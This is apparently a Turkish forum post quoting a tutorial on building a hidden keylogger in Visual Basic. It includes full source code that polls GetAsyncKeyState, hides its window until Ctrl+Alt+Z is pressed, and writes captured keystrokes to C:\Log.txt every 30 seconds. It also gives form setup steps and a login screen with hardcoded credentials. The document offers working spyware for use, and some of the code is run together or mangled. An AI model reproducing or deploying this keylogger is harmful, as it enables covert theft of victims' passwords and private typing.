Visual Basic

LiveYourLive' Alıntı:

Visual Basic Keylogger Yapımı...

Keyloggerimizin Özellikleri:
C:\'de Log Tutar.Bazi Özel HarfLeri Algılamaz.
Hide Yaptıktan Sonra Kısa Yol Ctrl+Alt+Z' dir.

Login Yaparken İd ve Şifre Sorar.

İd:Ay
Şifre:Ayyıldız

Not:

1)Keylogger'daki Kodları Sadece Takip Ederek Yazin.Resimlerdeki Kodlar Yanlış.Ben Önceden Keylogger'i Form1'e yapmıstım sonra aklıma Login ve Saklama Penceresi Yapmak Geldigi İcin Biraz Karışıktır Ama Kodlar Dogru Sadece Resimlerde Nerelere Ne Geliyor Onlara Bakınız.





Form 1



Form'muza Eklenecek Nesneler:

1)2 tane text box
2)2 tane label
2)2 tane button Koyacağız

Resim Ve Kodlar


Kod:

Button1_Click:

If TextBox1.Text = "İD"And TextBox2.Text = "Şifre"Then [Burdaki İd Ve Şifreyi Değiştirebilirsinz.]
Form2.Show()
Me.Hide()
Else
MsgBox("Yanlış Bilgiler,Lütfen Tekrar Deniyiniz...")
EndIf


Button2_Click:
Me.Close()


Resim:

Orjinal Boyutunda Açmak İçin ( 1023x734 ve 75KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.


Orjinal Boyutunda Açmak İçin ( 1018x736 ve 78KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.



En Zor Aşamaya Geldik.

Form 2
1)Form'mumuza 2 Adet Button, 1 Adet Text Box ve 2 adet Timer ekleyelim...
2)Bu ekleyeceğimiz Nesnelerin Adı Değişiyor.Burda Kod Uyuşmazliği Çikabilir.





Timer Hazırlama

1.Timer'izin Adını timerKeys Yapınız.
İnterval:5
Enabled: True

2.Timer'izin Adını timerSave Yapınız.
interval:30000
Enabled: True

Timer'lerimizin Görunuşü.


Orjinal Boyutunda Açmak İçin ( 1023x735 ve 68KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.


Orjinal Boyutunda Açmak İçin ( 1025x739 ve 68KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.


Timer'lerimizden Sonra

TextBox Hazırlamak

TextBox İsmini tbLog Yapacağız.
Orjinal Boyutunda Açmak İçin ( 1027x741 ve 76KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.


Button Hazirlamak


Orjinal Boyutunda Açmak İçin ( 1028x737 ve 75KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.

2 Tane Buttonumuz var.
Bu 2 tane buttonumuzdan;
1.nin Adı:btnHide
2.nin Adı Değişmeyecek.


Artık Kodlarımız Yazalim
Ve
Son Aşamaya Geçelim

Option Strict On
PublicClassForm2
PublicDeclareFunction GetAsyncKeyState Lib"user32" (ByVal vkey AsLong) AsInteger
__________________________________________________ _____________________________________________
PrivateSub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result AsInteger
Dim key AsString
Dim i AsInteger
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
EndIf
Next i
&#&#　
If key = NothingThen
Exit Sub
EndIf
IfMy.Computer.Keyboard.ShiftKeyDown OrElseMy.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower
EndIf
IfMy.Computer.Keyboard.CtrlKeyDown AndAlsoMy.Computer.Keyboard.AltKeyDown AndAlso key = "Z"Then
Me.Show()
EndIf
EndSub




PrivateSub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
EndSub


PrivateSub timerSave_Tick() Handles timerSave.Tick
My.Computer.FileSystem.WriteAllText("C:\Log.txt", tbLog.Text, True)
tbLog.Clear()
EndSub



PrivateSub Form2_FormClosed(ByVal sender AsObject, ByVal e As System.Windows.Forms.FormClosedEventArgs) HandlesMe.FormClosed
tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
timerSave_Tick()
EndSub



PrivateSub Form2_Load(ByVal sender AsObject, ByVal e As System.EventArgs) HandlesMe.Load
tbLog.Text = "Started at: " & Now & vbNewLine
EndSub



PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
tbLog.Text = ""
EndSub
EndClass


Orjinal Boyutunda Açmak İçin ( 1019x737 ve 77KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.

Orjinal Boyutunda Açmak İçin ( 1023x736 ve 78KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.

Orjinal Boyutunda Açmak İçin ( 1020x735 ve 65KB ) Buraya Tıklayın

Ve Kullanıma Hazir.

Sadece 1 Tane Kücük Sorunumuz Var.Sorun Debug Yaparken.

id,şifre bölümünden sonra keylogger log pencerisi gelince debug yaparken böyle bir hata gelir.Debug Yaptıktan Sonra Keyloggerin .exe sini aliniz.öyle çalışmaktadir visual basic 2008 ve 2010 da hata verir debug yaparken.

Orjinal Boyutunda Açmak İçin ( 1021x736 ve 91KB ) Buraya Tıklayın
Bu Resim Küçültülmüştür.Büyük Halini Görmek İçin Tıklayınız.

Genişletmek için tıkla ...